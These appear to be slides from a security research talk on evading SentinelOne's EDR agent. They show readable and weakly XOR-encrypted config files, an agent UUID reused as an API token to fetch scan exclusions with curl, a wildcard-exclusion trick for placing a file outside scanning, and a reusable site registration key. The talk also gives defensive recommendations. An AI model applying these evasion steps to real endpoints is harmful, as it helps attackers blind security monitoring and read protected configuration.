



Bypassing EDRs

SentinelOne agent analysis

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- **Quick / dirty SentinelOne agent analysis**
 - Configuration storage
 - Access control
 - Communication with console
- **Windows-focused**

Configuration storage

- **Two configuration folders**

```
$ ls -l 'Program Files/SentinelOne/Sentinel Agent 24.1.5.277/config'
AgentUid.json
LocalConfig.json
UserConfig.json
[...]

$ ls -l ProgramData/Sentinel/assets
1407838657398321889.asset
1407838657613212362.asset
1407838658122239899.asset
[...]
assets
```

- **Encrypted data** for most of them

```
$ cat config/UserConfig.json
{"mgmtServer":"https://hello-123.sentinelone.net","newConfiguration":false,"proxy":"","site":"0123456789abcdef"}

$ xxd config/AgentUid.json
00000000: 0bf5 caed ef7f 4e13 dd68 67af 74f6 c794  ....N..hg.t...
```

- **Encryption analysis**

- Content is similar, common prefix + on in two byte is the same + it's UTF-16 JSON

```
$ xxd AgentUid.json | head -1
00000000: 0bf5 caed ef7f 4e13 dd68 67af 74f6 c794  ....N..hg.t...

$ xxd Policy.json | head -1
00000000: 0bf5 caed ef7f 4e13 e368 75af 78f6 cd94  ....N..hu.x...

$ xxd UserConfig.json | head -1
00000000: fffe 7b00 2200 6d00 6700 6d00 7400 5300  ..{.".m.g.m.t.S.
```

- XOR with a hardcoded key :)
 - Exclusions decryption

```
$ python3 decrypt.py 1407838662271329849.asset
[{"pathSpec": "C:\\Windows\\Program Files\\App\\",
  "scope": "subfolders", [...] }]
```

Configuration storage

- **Access control**

- Before Nov. 2024, both folders accessible to all users!
- Since Oct. 30, `assets` is restricted to admins, but `config` still available

```
PS C:\Program Files\SentinelOne\Sentinel Agent 24.1.5.277\config> icacls Policy.json
BUILTIN\Administrators:(I)(RX)
BUILTIN\Users:(I)(RX)
[...]
```

```
PS C:\ProgramData\Sentinel\assets> icacls assets
BUILTIN\Administrators:(OI)(CI)(RX)
[...]
```

- But we lost access to `assets` with exclusions :(

Authentication

- **Agent UUID** generated on registration
 - Used as authentication token, stored in `config/AgentUID.json`
 - But `config` folder accessible to **all users**!

```
PS C:\Program Files\SentinelOne\Sentinel Agent 24.1.5.277\config> icacls AgentUID.json  
BUILTIN\Users:(I)(RX)
```

```
$ python3 decrypt.py config/AgentUID.json  
{"_uid": "0123456789abcdef0123456789abcdef", [...] }
```

- New access to exclusions **exclusions** :)

```
$ curl https://hello-123.sentinelone.net/api/v1.6/assets/1234567891234567890 \  
-H 'x-uuid: 0123456789abcdef0123456789abcdef' \  
[{ "pathSpec": "C:\Windows\Program Files\App\  
  "scope": "subfolders", [...] }]
```

Exclusions

Dangerous patterns

- **Exclusion templates offered by SentinelOne**

Qualys Cloud Security Agent 0 Exclusions Selected 3 Items 10 results Columns 0 Applied

☐	Type	OS	Description	Attribute
☐	path	Windows	Interoperability with Qualys	Path \\Device\\HarddiskVolume*\\Program Files\\Qualys\\QualysAgent\\
☐	path	Windows	Interoperability with Qualys	Path \\Device\\HarddiskVolume*\\Windows\\ccmcache*\\QualysCloudAgent.exe
☐	path	Windows	Interoperability with Qualys	Path \\Device\\HarddiskVolume*\\Program Files (x86)\\QualysAgent\\Qualys\\QualysCloudAgent.exe

- `\\Device\\HarddiskVolume*` disk-agnostic syntax, but `*` also matches `\\` :)

If a wildcard is used with harddiskvolume, you may exclude more devices than you intended.

Example: You want to exclude `\\Device\\HarddiskVolume0\\Test\\` you create this exclusion:

```
\\Device\\HarddiskVolume*\\Test\\.
```

Now these paths are also excluded because of the wildcard:

```
\\Device\\HarddiskVolume8\\software\\test\\
```

```
\\Device\\HarddiskVolume12\\engineering\\study\\test\\
```

- Create `C:\\Users\\user\\AppData\\Program Files\\Qualys\\QualysAgent\\safe.exe`

Agent registration

Token

- Token specific to **site** or **group** to register a new agent



The screenshot shows the SYNACKTIV interface with a navigation bar at the top containing: SENTINELS, ENDPOINTS, IDENTITY POLICY, TAGS, CLOUD ROGUES, POLICY, STAR CUSTOM RULES, and BLOC. The main content area displays the SYNACKTIV logo and account information: Account SYNACKTIV | Site ID 1234567890123456789. Below this, the Site Token is shown as a long alphanumeric string: eyJ1cmwiOiAiaHR0cHM6Ly9oZWxsby0xMjMuc2VudGluZWxvbmUubmV0liwgInNpdGVfa2V5IjogIjEyMzQ1Njc4OTAxMjM0NTYifQo=.

```
{"url": "https://hello-123.sentinelone.net", "site_key": "0123456789abcdef"} # Site  
{"url": "https://hello-123.sentinelone.net", "site_key": "g_0123456789abcdef"} # Group
```

- But it is removed from the endpoint after registration, right?

Agent registration

Token

- **site_key** preserved after agent registration, **exposed on all endpoints!**
 - Accessible to all users again, not even encrypted

```
PS C:\Program Files\SentinelOne\Sentinel Agent 24.1.5.277\config> icacls UserConfig.json
BUILTIN\Users:(I)(RX)

$ cat config/UserConfig.json
{"mgmtServer":"https://hello-123.sentinelone.net","newConfiguration":false,"proxy":"","site":"0123456789abcdef"}
```

- **Opportunities**
 - Registering new agents to trigger fake alerts → decoy
 - Read configuration from the console → exclusions
 - **site_key** cannot be revoked → must migrate all agents to new site / group

- **What about detection?**
 - No telemetry on file reads :(
 - Cannot detect access to configuration
 - Specific event log for agent registration but rarely integrated in detections

- **Recommendations**
 - Define exclusions from **hash or signature**
 - **Limit** exclusion scope to specific group, not site
 - **Avoid** using `*` in path exclusions, do not use SentinelOne-provided templates
 - **Audit** EDRs as any other software



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